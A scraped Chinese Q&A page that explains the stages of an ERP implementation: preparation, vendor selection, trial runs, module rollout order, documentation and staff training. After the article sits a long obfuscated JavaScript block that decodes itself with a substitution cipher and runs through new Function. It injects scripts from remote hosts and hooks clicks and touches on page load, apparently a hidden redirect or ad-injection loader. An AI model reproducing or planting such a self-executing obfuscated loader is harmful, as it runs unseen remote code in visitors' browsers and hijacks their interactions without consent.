ERP流程的ERP实施流程

2025-03-01 09:20:00
推荐回答(1个)
回答1:

企业信息化是一个长期的过程,在这个过程中,成熟完善的ERP系统是信息化成功的前提。不过ERP系统的实施是个复杂的系统工程,不光ERP软件的系统模块数量众多关联紧密,且ERP软件的应用涉及企业的各个职能部门和各层级管理人员,并很可能需要改变或部分改变企业目前的管理作业流程和长期来养成的作业习惯,因此,其成功实施的难度是可以想象的。 据有关资料统计,在目前已经实施ERP的企业中,真正成功的大约只有25%左右,而75%左右的企业只能说是成功实施了部分模块,甚至是完全失败的。所以一套ERP软件到ERP软件的实施直至在企业中应用,ERP的实施流程无疑是承上启下至关重要的。下面就简单介绍一下ERP软件的详细实施流程。 一、思想准备思想往往决定行动的过程,实际上也就往往决定了行动的结果。ERP系统的实施也是这样,它是否可以在企业成功实施,很大程度上是取决于企业高层人员实施ERP系统的动机、对ERP的认识、对ERP的期望以及对企业管理现状的认识等。因此,企业在实施ERP系统之前,尤其是高层管理人员应在思想上清楚地知道:
(1)实施ERP系统的动机是什么?是发自内心的需求,还是外在的压力?是我们未来发展的战略 部署,还是出于我们的攀比心理?即别人已经实施了,所以我也要实施。
(2)什么是ERP?我对ERP的期望什么?对这一问题,许多企业主或高层管理人员往往有种误解,即认为ERP就是将我们手工的统计作业等电脑化。但实际上,ERP的精髓应该是规范我们的管理,规范我们的作业流程,并使企业的所有资源得到更为有效和高效的运用!
(3)对目前企业管理现状的评价是什么?是否可以接受或者说准备改变目前企业的部分流程和制度?一般来说,企业的许多管理者,往往会沉醉于目前的管理绩效中;企业的绝大多数作业人员往往也有一种定势,那就是,我现在是如何如何做的。因此,管理人员,尤其是高层管理人员是否有决心改变这种状况?
二、组织准备由于ERP系统的实施是个复杂的系统工程,涉及企业的各个职能部门和各层级管理人员,因此,仅靠ERP公司和企业信息中心的努力是不够的。所以,建立一个强势的、跨部门的ERP实施组织,也是ERP成功实施的保证。
以下给出了企业ERP系统实施的组织规划:
(1)成立企业ERP项目领导小组,全权负责ERP系统之上线计划、部门协调和运行绩效考核,决定ERP系统的运作流程和系统修改等事项。项目领导小组建议由企业权责主管出任组长, ERP提供商项目经理出任副组长,信息中心主管任总干事,各部门主管则为其成员。总干事负责项目领导小组会议的召集以及各部门系统实施的协调。
(2)成立企业ERP项目实施小组,与ERP供应 商具体负责ERP系统的实施、各层级人员的教育训练以及系统的日常维护和数据录入之检核等。ERP实施小组成员建议主要由信息中心人员和各部门助理或部门资深员工组成。
三、财力准备ERP系统是一个庞大的网络信息管理系统,因此,无论是系统本身或者是其运行之平台,都需要企业有较大的投入。就ERP软件本身,国外知名ERP软件,如SAP、ORACLE等,一般都在几百万、甚至上千万人民币以上,而国内真正的ERP软件也动辄是几十万、上百万。再者,ERP软件是要借助于计算机网络系统进行运行的,因此,硬件投资也是一个庞大的数字。所以,我们企业在正式实施ERP前,应在财力上做好充分的准备。
四、资料准备ERP系统的顺利运行,还有赖于大量的、正确的基础资料。以鞋厂为例,这些基础资料包括材料资料、鞋型资料、鞋型部位资料、鞋型部位材料资料等等,因此,我们在正式实施ERP系统前,应对ERP系统所需要的基础资料进行收集、整理、规范和编码,这样,在ERP正式实施时,我们就可以比较顺利地进行。 (1)ERP的选型ERP的选型是实施ERP系统成功的第一步。在选择ERP时,一定要选择专业性、行业性的ERP,选择的公司不一定需要特别有名气,但必须有良好的资信记录和丰富的行业经验。此外,我们还应特别注意该公司是否对其ERP产品有无可争议的知识产权!
因此,在选择ERP系统时,应清楚地了解:
是否所有ERP系统都适合各个行业、适合各种类型的企业?答案是否定的,因为每个行业都各有特点,这不是任何ERP系统可以同时适合的!选择ERP时,要特别了解所选ERP是否具有行业性,软件公司是否在同行业的企业有成功实施的案例建议最好亲自到已经成功实施ERP系统的企业去了解!
好的服务,仍会面临非常大的风险。说白了,IT行业实际上是个服务性行业,如果ERP系统供应商没有提供完整的顾问服务,仍可能不能很好使用ERP!
有关法律法规明确规定,使用有侵权嫌疑的产品也将承担法律责任。因此,需特别检查其ERP的软件著作权登记证书。以免有涉嫌侵害知识产权的问题出现。
(2)营造气氛,统一认识在确定实施ERP系统后准备实施前,我们应该在企业营造出一种变革的气氛,广泛开展各层级管理人员和作业人员的教育训练,使他们清楚地知道什么是ERP,公司为什么需要实施ERP,实施ERP后我们的作业是怎样等等,进而统一各层级人员对ERP的认识。与此同时,我们还应就ERP系统的实施拟定相关的管理和作业制度,确保系统的顺利实施。
(3)系统试运行ERP选型确定后,我们并没有必要马上就开始系统的正式实施,而是应该先清楚地了解ERP系统的作业流程与企业实际作业的差异,ERP系统目前的功能与我们需求的差异等等。而这些不是看看ERP公司的系统演示就可以清楚的,它需要我们通过以实际的案例进行检验。因此,系统的试运行也是ERP系统的能否成功实施的关键之一。所以在正式实施ERP系统前,拟建立一个较小的网络运行环境,由各部门资深人员进行系统的试运行,找出差异,并同时检查系统的稳定性、快捷性、安全性等。
在此阶段,还应详细拟定各种基础资料的编码方案,如材料编码方案、部位编码方案、部门编码方案、订单编码方案等等进行讨论和确定,以便在正式实施时,可较快地进行。
(4)需求差异检讨及确任何ERP系统都不可能与企业实际作业完全相同,即使是专业化、行业化的ERP系统也一样,只可能是差异的大小而已。而任何企业又都可能有自己的特别成功的管理方式与方法,因此,ERP系统与实施企业的作业存在差异应该是正常的。关键是在系统试运行后,应就ERP系统与企业当前的作业差异进行全面的、客观的检讨,分析产生的原因,确定解决的办法等。在此作业中,应由企业高层主管及各部门主管直接参与讨论,以全面检讨目前企业的作业流程和制度,从而决定解决问题的方法,说白了就是修改ERP系统还是修改企业的作业流程或作业习惯。
(5)制度修订与系统修改在需求差异确定后,作为实施企业来说,应该立即进行的是制度的修订和流程的调整。而对ERP公司来说,则是系统作业的修正。在此阶段,我们并不是将实施工作全部停顿下来,而是应该利用本阶段的时间建立全面的基础资料档案,并进一步强化各层级管理人员的教育训练。
(6)系统正式实施在企业制度完成修订和ERP公司完成系统的修正后,即可开始全面实施ERP系统的各管理模块。当然,在正式实施过程中,我们不可能一蹴而就,而是应该按计划、有步骤地配合软件公司下派的ERP实施顾问进行。
一、首先是建立当前和未来3个月产品的所有资料,如材料资料、产品资料、产品BOM资料、订单资料等等。只有完整、全面、正确的基础资料,才能保证后续系统作业的顺利进行。前期基础资料之材料基本资料拟由ERP实施小组成员集中建立。而产品BOM资料、订单资料、厂商资料等等则应由相关部门的作业人员建立。
二、完成ERP系统物流部分的系统实施,主要是采购(含材料加工)、仓库等系统的实施。作为OEM的企业来说,由于其材料采购基本上是依据订单进行的,并且许多材料又是从国外进口,也有些供应商的材料需要转厂,因此,在本阶段实施的系统还应包括业务、报关等。应该说,这部分系统是企业ERP系统最为核心的系统,关联最紧密的系统,同时也是可能给实施企业带来最大效益的系统,因此,如果这部分系统不能成功实施,则基本上可以确定整个ERP系统的实施失败。
三、完成ERP系统现场信息管理部分系统的实施,主要是计划、订单生产、中仓、成品仓的管理等。这部分系统相对简单,因此其实施会相对容易一些。
四、完成人力资源系统,包括人事、考勤、薪资(含件资)等系统的实施。由于人力资源系统与其它系统的关联性较小,因此,这部分系统实际上可以在任何时间点进行。
五、完成财务系统的实施。ERP中的财务系统一般与其它系统关联非常紧密,尤其是其中的应收和应付管理部分,应是与订单出货和材料订购、仓库收料等密切关联,因此,这部分系统需要在业务系统、采购系统、仓库系统等实施完成后才能实施。
六、完成与客户、供货商信息互动部分系统的实施。一般的ERP系统不一定会有这一部分的系统,但如果有的话,可以安排在最后进行。当然,供应商关系管理部分也可安排与采购系统同时实施。
七、验收与总结系统实施完成后,我们应对整个系统的运行效率和效益作出定性、定量和客观公正的评估,总结经验,表彰对ERP系统实施有突出贡献者。 1.初次调研:
主要的目的就是ERP软件提供商的实施顾问人员能够对企业各个部门的业务流程初步了解,能收集到各个部门业务流的所有单据,和各个部门人员的认识,了解他们对ERP的认识和期望,以便制订工作计划。
2.系统培训:
主要的目的就是能够让企业所有人员认识到什么是ERP,并在企业中应用ERP系统能给企业带来如何的效益,另外就是ERP软件的各个系统的功能培训。
3.流程拟定:
主要的目的是实施顾问人员根据自己对该企业的了解结合自己或所在公司对企业所在行业的累积经验,结合ERP系统拟定出一个符合企业需求的业务流程,能在系统中得到合理的体现;这是一个非常重要的阶段,一个企业的管理能否从此通过ERP得到提升,流程能否更完善,就需要这个流程拟定了。
4.编码原则:
主要的目的是企业能在实施顾问人员的指导下,制定企业应用ERP的基本原则,其中包括物料的编码原则、供应商、客户的编码原则、产品结构(包括BOM架阶)的分阶建立等。
5.资料收集:
主要的目的是企业的人员在熟悉了各项编码原则的基础上,收集企业应用ERP管理所需要的基本资料,包括物料资料、供应商、客户、部门、人员等收集。
6.流程测试:
主要的目的是企业的人员测试流程拟定的合理性,并使用企业实际的业务流程来测试ERP系统的功能完善性,和操作的方便性。
7.期初导入:
主要的目的是搜集ERP系统上线的期初数据,并在实施顾问人员的指导下录入ERP系统,为企业正式应用ERP系统奠定夯实的基础。
8.上线辅导:
主要的目的是将企业的实际业务数据在ERP系统中处理,一般在系统上线的第一、二个月的时间里面,有必要的又模式进行,以防企业人员在上线期初操作不熟练所造成错误。
9.月结辅导:
主要的目的是在应用系统一个自然月后,通过ERP系统来跑出企业管理所需要的各种报表、检验报表的完善性,数据的准确性。
当然,一个企业中要成功实施一个ERP系统,单纯的*以上九个步骤是远远不够的,ERP的实施是一个非常规范的过程,所以,我们在这里将这过程分作为两大块。
一、以实施文档全面贯穿实施过程:
作为实施顾问人员,在实旋的过程中,应将各种标准的实施文档提交给企业,以确保ERP实施项目的质量进行,也就是说,顾问与企业之间的工作与文档的制作息息相关,可见文档在实施进程中的重要性非同一般。
那么,文档到底对整个实施工作有怎样的作用呢?首先,我们大致将ERP实施中的文档作为一个分类:
分阶段实施计划文档分阶段目标设置文档标准业务流程文档标准编码、标准数据文档标准参数设置文档功能操作指南文档这些文档将会伴随着ERP实施的各个阶段逐渐充实、完善;也同时记载了整个实施的过程和成果;那好,现在我们来分析一下这些文档的价值所在:
1.书面化的文档有助于实施人员与企业人员明确了解各自的职责,信息互通,共同把握实施过程的节奏。
2.标准业务流程文更有助于双方明晰业务流程,有效配合业务流程的重组和优化。
3.标准编码、数据文档及标准参数设置文档是实施中不可缺少的基础资料,可有效减少重复工作,避免对正常工作的影响。
4.功能操作指南文档可帮助最终用户规范化操作,加强培训效果。
前面我们曾经提到,ERP的实施工作可能长达数年不定,在这个时间跨度中,企业在最初实施ERP时确定的ERP项目的人员,也许难免要发生一些变化,那么,在发生变化时,ERP实施文档就可以承担起指导双方快速工作的标准文档的作用;还有,当实施完成后,企业的运行过程将是更漫长的过程,那么实施的标准文档就将成为企业实施信息化的公共载体了,成这指导企业后续工作的航标,和企业在后续人员培训方面提供详尽的素材。
二、培训全面贯穿实施过程:
在ERP实施的过程中,培训始终是作为一条主线的,具体点说吧,在系统实施过程中,培训对象包括以下四类:
企业领导层、核心小组(项目负责人)、技术小组、最终用户1.企业领导层培训,对高层的培训主要是ERP管理理念的培训,通常会由软件提供商安排较资深顾问师对企业领导层进行ERP管理思想的培训,使得企业领导层能够从总体上理解ERP系统的理念、流程和功能。
2.核心小组(包括项目负责人、部门经理)的培训,对於这一类的培训内容包括ERP系统的管理思想概念、ERP系统的具体功能以及ERP系统各种报表的应用。
3.技术小组培训,技术小组的成员主要包括参与ERP系统及相关Database和网络安装、设置及管理的信息部门成员。培训的主要目标是提供ERP系统的设计结构,各个模块的关联关系与数据库结构,系统问题处理等。
4.最终用户培训,培训目的是使用户了解ERP系统后新的业务前景、目标以及带来的好处,使用户能清楚的了解到ERP是什么,怎样通过它提高个人及整体的业务表现,使用户发角其工作内容的变化及ERP将如何融入其日常工作。同时向用户提供从现状到未来迁移过程中通用的术语,提导用户如何使用ERP完成其工作。
ERP的实施过程中的培训作为实施的一条主线,既体现了ERP实施很高的附加值,又充分体现了ERP实施过程中的知识转移。把ERP从半成品到成品的过程实质就是知识转移的过程,其中包含企业的管理诊断,实施战略的选择,业为流程的设定,对企业需求的恰到好处的分析。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();